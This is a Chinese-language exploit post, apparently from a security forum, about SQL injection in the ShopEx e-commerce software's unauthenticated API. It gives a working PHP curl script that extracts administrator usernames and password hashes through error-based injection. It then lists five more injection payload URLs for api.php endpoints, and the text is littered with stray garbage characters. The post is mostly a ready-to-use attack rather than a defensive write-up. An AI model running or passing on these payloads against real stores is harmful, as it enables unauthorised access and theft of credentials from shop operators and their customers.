shopEx最新版的API注入漏洞分析附利用exp

admin

缺陷文件：\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php

! t+ }* J/ Y2 V% ]2 ~第44行 $data['columns'] 未做过滤导致注入
" V( o6 K/ i# G- g5 e5 A& b/ V5 c
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证，任何用户都可访问,攻击者可通过它来对产品的分类，类型，规格，品牌等，进行添加，删除和修改，过滤不当还可造成注入.
) j2 h9 @8 e0 t
3 J) J' x' N8 f: P注射1：
9 Q0 I' c6 w: o7 X7 e
; a8 Y! U2 k" xhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#

注射2：
  d% f+ v  L$ a8 X2 thttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
. w) }8 _% l7 E' Z8 Z8 _
注射3：
  http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
注射4：
, _9 }+ z$ a0 X( {
3 W2 x0 V) J6 X3 m) C. `1 N- K, t, ohttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
# r% B: {, y: j/ c

注射5：
3 k* D. z) s( D) U+ i8 h7 l  http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx

  L6 W8 a6 Q5 G1 ~
3 l( M1 t* p1 N7 X1 Y1 W: p. u! a

" N0 U" b+ ]% P, h6 H$ V3 R

5 ~& G( h4 h3 O% a0 c